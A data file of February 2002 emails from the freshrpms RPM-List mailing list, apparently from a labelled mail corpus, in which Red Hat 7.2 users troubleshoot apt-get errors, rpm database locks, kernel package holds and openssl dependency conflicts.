,rpm-zzzlist@freshrpms.net,"Sat, 02 Feb 2002 11:20:17 +1300",problems with apt update,"Hiya, I always seem to get errors when I do an ""apt update"", is this a problem on the repository itself, or on my end, or possibly a timeout in the connection due to my connection being a crappy modem? [root@spawn root]# apt-get update Hit http://apt.nixia.no redhat/7.2/i386/base/pkglist.gnomehide Hit http://apt.freshrpms.net redhat/7.2/i386/base/pkglist.os Ign http://apt.freshrpms.net redhat/7.2/i386 release.os Err http://apt.freshrpms.net redhat/7.2/i386/base/pkglist.updates Bad header line Hit http://apt.freshrpms.net redhat/7.2/i386 release.updates Err http://apt.freshrpms.net redhat/7.2/i386/base/pkglist.freshrpms 400 Bad Request Err http://apt.freshrpms.net redhat/7.2/i386 release.freshrpms Bad header line Hit http://apt.freshrpms.net redhat/7.2/i386/base/srclist.freshrpms Ign http://apt.nixia.no redhat/7.2/i386 release.gnomehide Ign http://apt.nixia.no redhat/7.2/i386/base/mirrors Hit http://apt.freshrpms.net redhat/7.2/i386 release.freshrpms Ign http://apt.freshrpms.net redhat/7.2/i386/base/mirrors Ign http://apt.freshrpms.net redhat/7.2/i386/base/mirrors Ign http://apt.freshrpms.net redhat/7.2/i386/base/mirrors Ign http://apt.freshrpms.net redhat/7.2/i386/base/mirrors Failed to fetch http://apt.freshrpms.net/redhat/7.2/i386/base/pkglist.updates Bad header line Failed to fetch http://apt.freshrpms.net/redhat/7.2/i386/base/pkglist.freshrpms 400 Bad Request Failed to fetch http://apt.freshrpms.net/redhat/7.2/i386/base/release.freshrpms Bad header line -- \m/ -- ""...if I seem super human I have been misunderstood."" (c) Dream Theater mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,01 Feb 2002 21:36:04 -0600,Re: problems with 'apt-get -f install',"I have failed dependencies in RPM database to I am unable to use apt-get. I requests to run 'apt-get -f install' to fix these dependencies, however, I get these errors when running 'apt-get -f install' : [root@localhost root]# apt-get -f install Processing File Dependencies... Done Reading Package Lists... Done Building Dependency Tree... Done Correcting dependencies... Done The following extra packages will be installed: libgcj The following NEW packages will be installed: libgcj 0 packages upgraded, 1 newly installed, 0 to remove(replace) and 68 not upgraded. Need to get 2407kB of archives. After unpacking 8598kB will be used. Do you want to continue? [Y/n] Y Get:1 http://apt-rpm.tuxfamily.org redhat-7.2-i386/redhat/os libgcj 2.96-27 [2407kB] Fetched 2407kB in 22s (105kB/s) Executing RPM (-U)... Preparing... ########################################### [100%] 1:libgcj error: unpacking of archive failed on file /usr/share/libgcj.zip;3c5b5e75: cpio: MD5 sum mismatch E: Sub-process /bin/rpm returned an error code (1) [root@localhost root]# _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Sat, 2 Feb 2002 13:06:04 +0100",Re: problems with apt update,"Once upon a time, Mark wrote : > Hiya, I always seem to get errors when I do an ""apt update"", is this a > problem on the repository itself, or on my end, or possibly a timeout in > the connection due to my connection being a crappy modem? > > [root@spawn root]# apt-get update > Hit http://apt.nixia.no redhat/7.2/i386/base/pkglist.gnomehide > Hit http://apt.freshrpms.net redhat/7.2/i386/base/pkglist.os > Ign http://apt.freshrpms.net redhat/7.2/i386 release.os > Err http://apt.freshrpms.net redhat/7.2/i386/base/pkglist.updates > Bad header line > Hit http://apt.freshrpms.net redhat/7.2/i386 release.updates > Err http://apt.freshrpms.net redhat/7.2/i386/base/pkglist.freshrpms > 400 Bad Request > Err http://apt.freshrpms.net redhat/7.2/i386 release.freshrpms > Bad header line > Hit http://apt.freshrpms.net redhat/7.2/i386/base/srclist.freshrpms > Ign http://apt.nixia.no redhat/7.2/i386 release.gnomehide > Ign http://apt.nixia.no redhat/7.2/i386/base/mirrors > Hit http://apt.freshrpms.net redhat/7.2/i386 release.freshrpms [...] It works for me (it should works with or without the ""en"" subdirectory). Does it always give you the same error each time? Do you use an proxy server? [root@python root]# apt-get update Hit http://apt.freshrpms.net redhat/7.2/en/i386/base/srclist.os Hit http://apt.freshrpms.net redhat/7.2/en/i386 release.os Hit http://apt.freshrpms.net redhat/7.2/en/i386/base/srclist.updates Hit http://apt.freshrpms.net redhat/7.2/en/i386 release.updates Get:1 http://apt.freshrpms.net redhat/7.2/en/i386/base/pkglist.os [1035kB] Hit http://apt.freshrpms.net redhat/7.2/en/i386 release.os Get:2 http://apt.freshrpms.net redhat/7.2/en/i386/base/pkglist.updates [331kB] Hit http://apt.freshrpms.net redhat/7.2/en/i386 release.updates Hit http://apt.freshrpms.net redhat/7.2/en/i386/base/pkglist.freshrpms Hit http://apt.freshrpms.net redhat/7.2/en/i386 release.freshrpms Hit http://apt.freshrpms.net redhat/7.2/en/i386/base/srclist.os Hit http://apt.freshrpms.net redhat/7.2/en/i386 release.os Hit http://apt.freshrpms.net redhat/7.2/en/i386/base/srclist.updates Hit http://apt.freshrpms.net redhat/7.2/en/i386 release.updates Hit http://apt.freshrpms.net redhat/7.2/en/i386/base/srclist.freshrpms Hit http://apt.freshrpms.net redhat/7.2/en/i386 release.freshrpms Ign http://apt.freshrpms.net redhat/7.2/en/$(ARCH)/base/mirrors Ign http://apt.freshrpms.net redhat/7.2/en/$(ARCH)/base/mirrors Ign http://apt.freshrpms.net redhat/7.2/en/$(ARCH)/base/mirrors Fetched 1366kB in 1m16s (17.9kB/s) Processing File Dependencies... Done Reading Package Lists... Done Building Dependency Tree... Done W: http://apt.freshrpms.net/ will not be authenticated. W: http://apt.freshrpms.net/ will not be authenticated. W: http://apt.freshrpms.net/ will not be authenticated. [root@python root]# Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Sat, 2 Feb 2002 13:08:44 +0100",Re: problems with 'apt-get -f install',"Once upon a time, Lance wrote : > I have failed dependencies in RPM database to I am unable to use > apt-get. I requests to run 'apt-get -f install' to fix these > dependencies, however, I get these errors when running 'apt-get -f > install' : [...] > error: unpacking of archive failed on file > /usr/share/libgcj.zip;3c5b5e75: cpio: MD5 sum mismatch > E: Sub-process /bin/rpm returned an error code (1) > [root@localhost root]# I'd say that the file apt downloaded is corrupted. Maybe trying ""apt-get clean"" to remove all downloaded files first would solve the problem. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,02 Feb 2002 08:11:08 -0600,Re: problems with 'apt-get -f install',"Hello, Tried 'apt-get clean' with same results. On Sat, 2002-02-02 at 06:08, Matthias Saou wrote: > Once upon a time, Lance wrote : > > > I have failed dependencies in RPM database to I am unable to use > > apt-get. I requests to run 'apt-get -f install' to fix these > > dependencies, however, I get these errors when running 'apt-get -f > > install' : > [...] > > error: unpacking of archive failed on file > > /usr/share/libgcj.zip;3c5b5e75: cpio: MD5 sum mismatch > > E: Sub-process /bin/rpm returned an error code (1) > > [root@localhost root]# > > I'd say that the file apt downloaded is corrupted. Maybe trying ""apt-get > clean"" to remove all downloaded files first would solve the problem. > > Matthias > > -- > Matthias Saou World Trade Center > ------------- Edificio Norte 4 Planta > System and Network Engineer 08039 Barcelona, Spain > Electronic Group Interactive Phone : +34 936 00 23 23 > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,freshrpms ,"Sun, 03 Feb 2002 10:19:27 +1300",creating rpms with subdirs (install command),"Hi, I'm building an rpm for the resin webserver, and I basically want to install the entire tarball under a diretory, but, the tarball includes subdirectorys, in my spec i have: install -s -m 755 %{name}-%{version}.%{release}/* \ $RPM_BUILD_ROOT/usr/local/resin and I'm getting: install: `resin-2.0.5/bin' is a directory install: `resin-2.0.5/conf' is a directory Is there a proper/nice way I should handle this? -- \m/ -- ""...if I seem super human I have been misunderstood."" (c) Dream Theater mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Peter Peltonen ,rpm-zzzlist@freshrpms.net,"Mon, 4 Feb 2002 14:33:29 +0200",Re: http://apt.nixia.no/,"On Fri, Feb 01, 2002 at 05:41:32PM +0200, Harri Haataja wrote: > I have a local one for the main and upgrades from somewhere plus my own > at $ORKPLACE. Olen ajatellut pystytt itselleni lokaalin apt-varaston, kun Suomesta ei tunnu lytyvn julkista peili. Osaisitko avittaa hiukan asiassa, eli kuinka lhte liikkeelle? Ensin kannattanee peilata varsinainen RH:n rpm:t jostain, vaan mill softalla (rsync?) ja mist (funet?) tuo kannattaa tehd, ajatuksia? -- Peter _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Peter Peltonen ,rpm-zzzlist@freshrpms.net,"Mon, 4 Feb 2002 14:51:40 +0200",Re: http://apt.nixia.no/,"Sorry about that :) Didn't think before sending... So I didn't realize that Reply-To was to the list and not to the sender (as it usually is). Anyawy, I was asking Harri if he could point me a few advices on how to build my own apt repositry for RH updates. There is a tutorial of somekind at http://apt-rpm.tuxfamily.org/ which I'm following right now, but if there is some other good advices, let me know! Regards, Peter On Mon, Feb 04, 2002 at 02:33:29PM +0200, Peter Peltonen wrote: > On Fri, Feb 01, 2002 at 05:41:32PM +0200, Harri Haataja wrote: > > I have a local one for the main and upgrades from somewhere plus my own > > at $ORKPLACE. > > Olen ajatellut pystytt itselleni lokaalin apt-varaston, kun Suomesta ei > tunnu lytyvn julkista peili. Osaisitko avittaa hiukan asiassa, eli > kuinka lhte liikkeelle? Ensin kannattanee peilata varsinainen RH:n rpm:t > jostain, vaan mill softalla (rsync?) ja mist (funet?) tuo kannattaa > tehd, ajatuksia? > > -- > Peter > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list > -- Peter _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 4 Feb 2002 13:29:27 +0100",Re: http://apt.nixia.no/,"Once upon a time, Peter wrote : > On Fri, Feb 01, 2002 at 05:41:32PM +0200, Harri Haataja wrote: > > I have a local one for the main and upgrades from somewhere plus my own > > at $ORKPLACE. > > Olen ajatellut pystytt itselleni lokaalin apt-varaston, kun Suomesta ei > tunnu lytyvn julkista peili. Osaisitko avittaa hiukan asiassa, eli > kuinka lhte liikkeelle? Ensin kannattanee peilata varsinainen RH:n > rpm:t jostain, vaan mill softalla (rsync?) ja mist (funet?) tuo > kannattaa tehd, ajatuksia? Wow, Finnish seems even more complicated than German to me :-) Could you send an English translation next time? I really didn't understand a thing and I assume I'm not the only one ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roy-Magne Mo ,rpm-zzzlist@freshrpms.net,"Mon, 04 Feb 2002 14:00:26 +0100",Re: http://apt.nixia.no/,Peter Peltonen wrote: > Sorry about that :) > > Didn't think before sending... So I didn't realize that Reply-To was to > the list and not to the sender (as it usually is). How about removing the reply-to to the list? _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Mon, 4 Feb 2002 16:42:05 +0200",Re: http://apt.nixia.no/,"On Mon, Feb 04, 2002 at 02:33:29PM +0200, Peter Peltonen wrote: > On Fri, Feb 01, 2002 at 05:41:32PM +0200, Harri Haataja wrote: > > I have a local one for the main and upgrades from somewhere plus my own > > at $ORKPLACE. > > Olen ajatellut pystytt itselleni lokaalin apt-varaston, kun Suomesta ei > tunnu lytyvn julkista peili. Osaisitko avittaa hiukan asiassa, eli > kuinka lhte liikkeelle? Ensin kannattanee peilata varsinainen RH:n rpm:t > jostain, vaan mill softalla (rsync?) ja mist (funet?) tuo kannattaa > tehd, ajatuksia? I'll post my own repository story here anyway, hope no-one minds. It may freely be commented on or used in another text. I have a directory like this: $ tree -d . |-- current7 | |-- SRPMS.current | |-- SRPMS.gcc3 | `-- redhat | |-- RPMS.current | |-- RPMS.gcc3 | `-- base |-- redhat-7_2 | |-- SRPMS.os | `-- redhat | |-- RPMS.os -> | `-- base `-- testing |-- SRPMS.testing `-- redhat |-- RPMS.testing `-- base 27 directories I throw updates to current7's rpms and my own stuff (with makefile :) to testing. After each new package, nice genbasedir -s --progress --topdir=$TOPDIR/ \ testing/redhat testing (for -s to work, you need to make release files, pinch someones for exmple) This stuff is found under apache. I put that url, my keys and all that into apt conf on the machines on the network and apt away. As for .fi mirrors, funet is very slow. I think I use tuxfamily for updates but when I see errata I usually also put that to my own one so rest of the machines have a shorter path to it. Funet hosts a whole load of mirrors and projects (it used to be (is?) the main mirror for Linux. It was one of the big pub ftp sites). If there was a definite apt repository, maybe they might mirror that as well. I doubt RH would be very keen on using apt and forking a distribution doesn't seem like an easy option, someone should just start a project. -- ""Barry also was quick to point out that the Titanium uses torque screws as opposed to Phillips screws. We're not sure why this matters even a little bit, but Barry sure seemed to think it was interesting. That's why Mac geeks scare us."" -- ZDNet Powerbook Titanium review _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Mon, 4 Feb 2002 16:58:53 +0200","Re: About apt, kernel updates and dist-upgrade","On Mon, Feb 04, 2002 at 05:04:08PM +0200, Peter Peltonen wrote: > I started wondering how does apt react when it finds a newer kernel in the > bunch of ""to be updated"" files? Look at /etc/apt/apt.conf. I think ^kernel$ matches the kernel packages (apart from those matched by the rest, smp, enterprise). I think it won't do anything about the kernels. Come to think of it, the abovementioned might have nothing to do with it. I explicitly use apt-get install kernel and then from the list pick a version and then install kernel#2.4.foo-bar. > And has anyone ever tried to do a dist-upgrade, say from 7.1 to 7.2? > Should it work? If not, why? Should. Haven't tried with dist-upgrade but I have put 7.2 netboot mirror (ie, 7.2) into sources.list and run install step-by-step for IIRC everything. Worked ok. I think there'll be a few .rpmnew files worth checking such as, especially, passwd and group. I think there was a group change. ""lock"" ? -- It feels great to wake up and not know what day it is, doesn't it? _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 4 Feb 2002 16:53:14 +0100","Re: About apt, kernel updates and dist-upgrade","Once upon a time, Peter wrote : > I started wondering how does apt react when it finds a newer kernel in > the bunch of ""to be updated"" files? It skips it. See the /etc/apt/apt.conf file for this. > And has anyone ever tried to do a dist-upgrade, say from 7.1 to 7.2? > Should it work? If not, why? I've done a dist-upgrade from 7.2 to a quite broken rawhide release... it was a mess, still, it went much faster and smoother than if I had done it ""manually"" with rpm -U or -F. I think that updates between stable releases should still be done with the installer since IIRC, sometimes a few twitches are done by anaconda to migrate configurations to new formats. It should work though... I still prefer backuping config files and reinstalling a clean system when I have the time. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Peter Peltonen ,rpm-zzzlist@freshrpms.net,"Mon, 4 Feb 2002 23:30:01 +0200","Re: About apt, kernel updates and dist-upgrade","On Mon, Feb 04, 2002 at 04:53:14PM +0100, Matthias Saou wrote: > It skips it. See the /etc/apt/apt.conf file for this. In my apt.conf reads: ---- RPM { // Leave list empty to disable AllowedDupPkgs {""^kernel$""; ""kernel-smp""; ""kernel-enterprise""; }; HoldPkgs {""kernel-source""; ""kernel-headers""; }; } ---- If I understand this correctly, then only kernel-source and kernel-headers are held from being installed, but kernel will be installed, right? Maybe I should test this on some vanilla system... -- Peter _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,"Tue, 05 Feb 2002 21:41:08 +1300",Problem with an rpm...,"Hiya, I just myself an rpm, and when I did -Uvh to upgrade the earlier version I had installed (also from my rpm) I got: [root@spawn i386]# rpm -Uvh mulberry-2.2-b1.i386.rpm Preparing... ########################################### [100%] 1:mulberry ########################################### [100%] error: db3 error(-30998) from db->close: DB_INCOMPLETE: Cache flush was unable to complete Whats the DB_INCOMPLETE mean? It all seems to have installed ok thou... -- \m/ -- ""...if I seem super human I have been misunderstood."" (c) Dream Theater mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roy-Magne Mo ,rpm-zzzlist@freshrpms.net,"Tue, 05 Feb 2002 15:06:28 +0100",Re: Problem with an rpm...,"Mark Derricutt wrote: > Hiya, I just myself an rpm, and when I did -Uvh to upgrade the earlier > version I had installed (also from my rpm) I got: > > [root@spawn i386]# rpm -Uvh mulberry-2.2-b1.i386.rpm > Preparing... ########################################### > [100%] > 1:mulberry ########################################### > [100%] > error: db3 error(-30998) from db->close: DB_INCOMPLETE: Cache flush was > unable to complete It's not the rpm, it's the rpm-system with you. The cache seems to have rottened. Try removing /var/lib/rpm/__db* _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,"Wed, 06 Feb 2002 07:37:44 +1300",Re: Problem with an rpm...,"Do I need to do anything to recreate anything after deleting this? I did notice an rpm I made the other day didn't work, and just sat there for ages seemingly doing nothing, which probably did this :( Ok, now I get: Fetched 88.1kB in 2m31s (581B/s) error: cannot get exclusive lock on /var/lib/rpm/Packages error: cannot open Packages index using db3 - Operation not permitted (1) E: could not open RPM database:cannot open Packages index using db3 - Operation not permitted (1) Arrrrg. --On Tuesday, February 05, 2002 15:06:28 +0100 Roy-Magne Mo wrote: > It's not the rpm, it's the rpm-system with you. The cache seems to have > rottened. Try removing /var/lib/rpm/__db* -- \m/ -- ""...if I seem super human I have been misunderstood."" (c) Dream Theater mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,"Wed, 06 Feb 2002 07:44:40 +1300",Re: Problem with an rpm...,"Never mind, there was some cron thing doing rpm -qf ??? seems fine now. --On Wednesday, February 06, 2002 07:37:44 +1300 Mark Derricutt wrote: > Fetched 88.1kB in 2m31s (581B/s) > error: cannot get exclusive lock on /var/lib/rpm/Packages > error: cannot open Packages index using db3 - Operation not permitted (1) > E: could not open RPM database:cannot open Packages index using db3 - > Operation not permitted (1) -- \m/ -- ""...if I seem super human I have been misunderstood."" (c) Dream Theater mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roy-Magne Mo ,rpm-zzzlist@freshrpms.net,"Tue, 05 Feb 2002 20:21:25 +0100",Re: Problem with an rpm...,"Mark Derricutt wrote: > Never mind, there was some cron thing doing rpm -qf ??? seems fine now. > > --On Wednesday, February 06, 2002 07:37:44 +1300 Mark Derricutt > wrote: > >> Fetched 88.1kB in 2m31s (581B/s) >> error: cannot get exclusive lock on /var/lib/rpm/Packages >> error: cannot open Packages index using db3 - Operation not permitted (1) >> E: could not open RPM database:cannot open Packages index using db3 - >> Operation not permitted (1) You can do a rpm --rebuilddb too _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Peter Peltonen ,rpm-zzzlist@freshrpms.net,"Wed, 6 Feb 2002 16:29:53 +0200",Apt problems,"Two issues: ---- Sorry, but the following packages have unmet dependencies: openssh: Depends: openssl (= 0.9.5a) but 0.9.6b-8 is installed php-pgsql: Depends: postgresql but it is not installed Depends: libpq.so.2 E: Unmet dependencies. Try using -f. ---- 1. I have the following openssl packages installed: ---- openssl-perl-0.9.6b-8 openssl-0.9.6b-8 openssl095a-0.9.5a-11 openssl-devel-0.9.6b-8 ---- The openssl095a package should provide the openssl-0.9.5a compatibility but apt doesn't think so? 2. I have postgresql installed from the source. So that's why I need php-pgsql. Is there a way to tell apt about packages I don't want it to complain about? -- Peter _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Wed, 6 Feb 2002 16:30:18 +0200",Re: Apt problems,"--bg08WKrSYDhXBjb5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 06, 2002 at 04:29:53PM +0200, Peter Peltonen wrote: > Two issues: >=20 > ---- > Sorry, but the following packages have unmet dependencies: > openssh: Depends: openssl (=3D 0.9.5a) but 0.9.6b-8 is installed > php-pgsql: Depends: postgresql but it is not installed > Depends: libpq.so.2 > E: Unmet dependencies. Try using -f. > ---- >=20 > 1. I have the following openssl packages installed: >=20 > ---- > openssl-perl-0.9.6b-8 > openssl-0.9.6b-8 > openssl095a-0.9.5a-11 > openssl-devel-0.9.6b-8 > ---- >=20 > The openssl095a package should provide the openssl-0.9.5a compatibility= =20 > but apt doesn't think so?=20 I believe that's just a matter of string parsing. If someone were to fix the openssh package, removing the explicit Requires:, I believe the automagic binary handler would figure the right libraries to use and install. I haven't met an openssh like that and in worst case I've had 3 different openssl libraries (WTF can't they just bump a major version if it's incompatible?!?). > 2. I have postgresql installed from the source. So that's why I need=20 > php-pgsql. Is there a way to tell apt about packages I don't want it to= =20 > complain about? I have a few such things (with jdk, imlib, kernel DRI version.. something) and Ive just made dummy packages (with verbose warning attached ;) that explicitly provide those capabilities. (or claim to, that is). --=20 If you only want to go 500 miles, can you begin with a halfstep? --bg08WKrSYDhXBjb5 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8YT35QF8Oi9XNck4RAuNpAJ90B0EUZ7Lkqpr+KYzWPRi+i4DcWACdHQd5 Tb0GZvVivaW1rOzqP/Su9Gc= =h7Ff -----END PGP SIGNATURE----- --bg08WKrSYDhXBjb5-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 6 Feb 2002 16:14:27 +0100",Re: Apt problems,"Once upon a time, Harri wrote : > On Wed, Feb 06, 2002 at 04:29:53PM +0200, Peter Peltonen wrote: > > Two issues: > > > > ---- > > Sorry, but the following packages have unmet dependencies: > > openssh: Depends: openssl (= 0.9.5a) but 0.9.6b-8 is installed > > php-pgsql: Depends: postgresql but it is not installed > > Depends: libpq.so.2 > > E: Unmet dependencies. Try using -f. > > ---- > > > > 1. I have the following openssl packages installed: > > > > ---- > > openssl-perl-0.9.6b-8 > > openssl-0.9.6b-8 > > openssl095a-0.9.5a-11 > > openssl-devel-0.9.6b-8 > > ---- > > > > The openssl095a package should provide the openssl-0.9.5a compatibility > > but apt doesn't think so? > > I believe that's just a matter of string parsing. If someone were to fix > the openssh package, removing the explicit Requires:, I believe the > automagic binary handler would figure the right libraries to use and > install. I haven't met an openssh like that and in worst case I've had 3 > different openssl libraries (WTF can't they just bump a major version if > it's incompatible?!?). Strange... all my openssh packages don't explicitly requires a version of openssl. What version of openssh do you have? Is it an official Red Hat package? I suppose it isn't, and using Red Hat's rpms will solve your problem. What you need to know for openssl is : 0.9.5b is libcrypto.so.0 and libssl.so.0 0.9.6 is libcrypto.so.1 and libssl.so.1 0.9.6b is libcrypto.so.2 and libssl.so.2 Now in all Red Hat packages I've seen so far, the only dependency is on those files and not on ""openssl = version"". Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Govind S. Salinas"" ",rpm-zzzlist@freshrpms.net,05 Feb 2002 19:39:15 -0600,apt-get http fails,"--=-eAUUkMeF/tAqB1Bi49Ip Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I installed apt-get yesterday and liked it, for a couple hours anyway.=20 Late last night I started to get errors like: --( root@theshadows )-- apt-get update E: Method http has died unexpectedly! E: Tried to dequeue a fetching object E: Tried to dequeue a fetching object E: Tried to dequeue a fetching object E: Tried to dequeue a fetching object E: Tried to dequeue a fetching object E: Tried to dequeue a fetching object E: Tried to dequeue a fetching object (...) i get the same errors (two like the first line instead of one) with apt-get update. I was wondering why this would happen. I would appreciate any help you all can give me. Thanks. --=20 -Govind Salinas ICQ:32026672 AIM:DyErthScum --=-eAUUkMeF/tAqB1Bi49Ip Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8YIlDhLd1P7Dk1P0RAhzSAKCUan9e5aIvrm2TVfcL0P+G4/ZkHQCgrv1l vpgf1Lp1ZZctS/jE4JiH4z4= =3dnC -----END PGP SIGNATURE----- --=-eAUUkMeF/tAqB1Bi49Ip-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Peter Peltonen ,rpm-zzzlist@freshrpms.net,"Wed, 6 Feb 2002 18:47:55 +0200",Re: Apt problems,"On Wed, Feb 06, 2002 at 04:30:18PM +0200, Harri Haataja wrote: > install. I haven't met an openssh like that and in worst case I've had 3 > different openssl libraries (WTF can't they just bump a major version if > it's incompatible?!?). So, what should I with the openssl thing? > something) and Ive just made dummy packages (with verbose warning > attached ;) that explicitly provide those capabilities. (or claim to, > that is). How do I make such packages? -- Peter _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Peter Peltonen ,rpm-zzzlist@freshrpms.net,"Wed, 6 Feb 2002 18:51:52 +0200",Re: Apt problems,"On Wed, Feb 06, 2002 at 04:14:27PM +0100, Matthias Saou wrote: > Strange... all my openssh packages don't explicitly requires a version of > openssl. What version of openssh do you have? Is it an official Red Hat > package? I suppose it isn't, and using Red Hat's rpms will solve your > problem. openssh-3.0.2p1-1 I think that is directly from openssh site. It's from the RH 6.2 that I upgraded to 7.2 (6.2 doesn't ship with openssh...). I probably should downgrade to the versoin RH provides except I can't do that as I don't have physical access to that box and downgrading ssh packages over ssh doesn't sound like a bright idea... -- Peter _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 6 Feb 2002 17:34:32 +0100",Re: Apt problems,"Once upon a time, Peter wrote : > On Wed, Feb 06, 2002 at 04:14:27PM +0100, Matthias Saou wrote: > > Strange... all my openssh packages don't explicitly requires a version > > of openssl. What version of openssh do you have? Is it an official Red > > Hat package? I suppose it isn't, and using Red Hat's rpms will solve > > your problem. > > openssh-3.0.2p1-1 > > I think that is directly from openssh site. It's from the RH 6.2 that I > upgraded to 7.2 (6.2 doesn't ship with openssh...). That explains... > I probably should downgrade to the versoin RH provides except I can't do > that as I don't have physical access to that box and downgrading ssh > packages over ssh doesn't sound like a bright idea... Well, with 7.0, I've seen a few problems with doing that, but as of 7.2 it's really wonderful! Ever tried of completely uninstalling all openssh related packages while being connected through ssh? Well, it works!!!! Of course, if the connection cuts at that moment, you're stuck, but a simple upgrade with official Red Hat packages also works like a charm :-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Peter Peltonen ,rpm-zzzlist@freshrpms.net,"Wed, 6 Feb 2002 19:44:26 +0200",Re: Apt problems,"On Wed, Feb 06, 2002 at 04:30:18PM +0200, Harri Haataja wrote: > I have a few such things (with jdk, imlib, kernel DRI version.. > something) and Ive just made dummy packages (with verbose warning > attached ;) that explicitly provide those capabilities. (or claim to, > that is). Hm. One could do this with rpm's --justdb switch too, without having to make a dummy package, right? I was wondering that this is a bit dangerous if there is a update for my software, as the dummy package might get updated with it overwriting the installation I've done from source... Not good. Is there really no ""--nodeps"" kind of switch in apt-get? -- Peter _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Peter Peltonen ,rpm-zzzlist@freshrpms.net,"Thu, 7 Feb 2002 00:29:14 +0200","Re: About apt, kernel updates and dist-upgrade","About apt.conf there are these lines: ---- RPM { // Leave list empty to disable AllowedDupPkgs {""^kernel$""; ""kernel-smp""; ""kernel-enterprise""; }; HoldPkgs {""kernel-source""; ""kernel-headers""; }; } ---- How do I tell apt hold all kernel packages? Can I use syntax like ""kernel*""; ? And I don't quite understand what the part ""^kernel$""; means? -- Peter _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja 